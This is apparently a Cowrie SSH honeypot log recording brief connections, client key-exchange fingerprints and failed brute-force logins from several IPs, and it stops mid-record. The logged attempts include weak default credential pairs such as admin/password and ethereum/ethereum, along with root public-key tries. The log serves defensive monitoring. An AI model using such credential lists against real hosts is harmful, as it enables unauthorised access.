{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:46.458908Z","src_ip":"193.32.162.151","session":"b56ed8237b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:47.054741Z","src_ip":"193.32.162.151","session":"b56ed8237b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:48.167346Z","src_ip":"193.32.162.151","session":"b56ed8237b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58758,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cd3d4c1badf","protocol":"ssh","message":"New connection: 80.94.92.186:58758 (10.17.0.5:22) [session: 6cd3d4c1badf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:59.471226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:59.933593Z","src_ip":"80.94.92.186","session":"6cd3d4c1badf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:59.937057Z","src_ip":"80.94.92.186","session":"6cd3d4c1badf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:00.911195Z","src_ip":"80.94.92.186","session":"6cd3d4c1badf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:02.154661Z","src_ip":"80.94.92.186","session":"6cd3d4c1badf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35314,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6173841131","protocol":"ssh","message":"New connection: 195.178.110.218:35314 (159.203.135.109:22) [session: 1b6173841131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:19.732937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:19.737512Z","src_ip":"195.178.110.218","session":"1b6173841131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:19.817519Z","src_ip":"195.178.110.218","session":"1b6173841131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:20.058517Z","src_ip":"195.178.110.218","session":"1b6173841131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:59:21.141737Z","src_ip":"195.178.110.218","session":"1b6173841131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":55884,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d11ce7b5df","protocol":"ssh","message":"New connection: 139.19.117.129:55884 (159.203.135.109:22) [session: e0d11ce7b5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.187091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.192383Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.285507Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDVYHwaqsNCywLtugLGr01PSTy3iPmwbLWHrWUxKHU6voaHR/S16dFmz/XG5q9UFfvsjCk+CHQbKaCZrB4voYT9r8ftVX9D4qeItEUtTIlr/QSomuGRpGsj0xWwhvohaNS1CT1kqXbvgIU91yljqK7BehHboy1kPbpdtteEivoiuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.484694Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDVYHwaqsNCywLtugLGr01PSTy3iPmwbLWHrWUxKHU6voaHR/S16dFmz/XG5q9UFfvsjCk+CHQbKaCZrB4voYT9r8ftVX9D4qeItEUtTIlr/QSomuGRpGsj0xWwhvohaNS1CT1kqXbvgIU91yljqK7BehHboy1kPbpdtteEivoiuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.488328Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDVYHwaqsNCywLtugLGr01PSTy3iPmwbLWHrWUxKHU6voaHR/S16dFmz/XG5q9UFfvsjCk+CHQbKaCZrB4voYT9r8ftVX9D4qeItEUtTIlr/QSomuGRpGsj0xWwhvohaNS1CT1kqXbvgIU91yljqK7BehHboy1kPbpdtteEivoiuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.583360Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:bc:d7:96:62:68:a2:14:85:fb:59:c7:12:a6:9e:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDVYHwaqsNCywLtugLGr01PSTy3iPmwbLWHrWUxKHU6voaHR/S16dFmz/XG5q9UFfvsjCk+CHQbKaCZrB4voYT9r8ftVX9D4qeItEUtTIlr/QSomuGRpGsj0xWwhvohaNS1CT1kqXbvgIU91yljqK7BehHboy1kPbpdtteEivoiuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:17.586808Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:27.187125Z","src_ip":"139.19.117.129","session":"e0d11ce7b5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":32938,"dst_ip":"159.203.135.109","dst_port":22,"session":"547004232118","protocol":"ssh","message":"New connection: 193.32.162.151:32938 (159.203.135.109:22) [session: 547004232118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:59.366358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:59.370969Z","src_ip":"193.32.162.151","session":"547004232118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:59.471290Z","src_ip":"193.32.162.151","session":"547004232118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:00:59.792657Z","src_ip":"193.32.162.151","session":"547004232118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:00.896056Z","src_ip":"193.32.162.151","session":"547004232118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56836,"dst_ip":"159.203.135.109","dst_port":22,"session":"4249530f4e10","protocol":"ssh","message":"New connection: 195.178.110.218:56836 (159.203.135.109:22) [session: 4249530f4e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:56.119730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:56.124541Z","src_ip":"195.178.110.218","session":"4249530f4e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:56.204868Z","src_ip":"195.178.110.218","session":"4249530f4e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:56.444902Z","src_ip":"195.178.110.218","session":"4249530f4e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:01:57.527485Z","src_ip":"195.178.110.218","session":"4249530f4e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33220,"dst_ip":"10.17.0.5","dst_port":22,"session":"d804c477c4dc","protocol":"ssh","message":"New connection: 80.94.92.186:33220 (10.17.0.5:22) [session: d804c477c4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:02:00.353240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:02:00.447056Z","src_ip":"80.94.92.186","session":"d804c477c4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:02:00.513702Z","src_ip":"80.94.92.186","session":"d804c477c4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:02:01.337440Z","src_ip":"80.94.92.186","session":"d804c477c4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:02:02.519953Z","src_ip":"80.94.92.186","session":"d804c477c4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48816,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8bfb7aee774","protocol":"ssh","message":"New connection: 193.32.162.151:48816 (159.203.135.109:22) [session: f8bfb7aee774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:18.953938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:18.958146Z","src_ip":"193.32.162.151","session":"f8bfb7aee774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-ni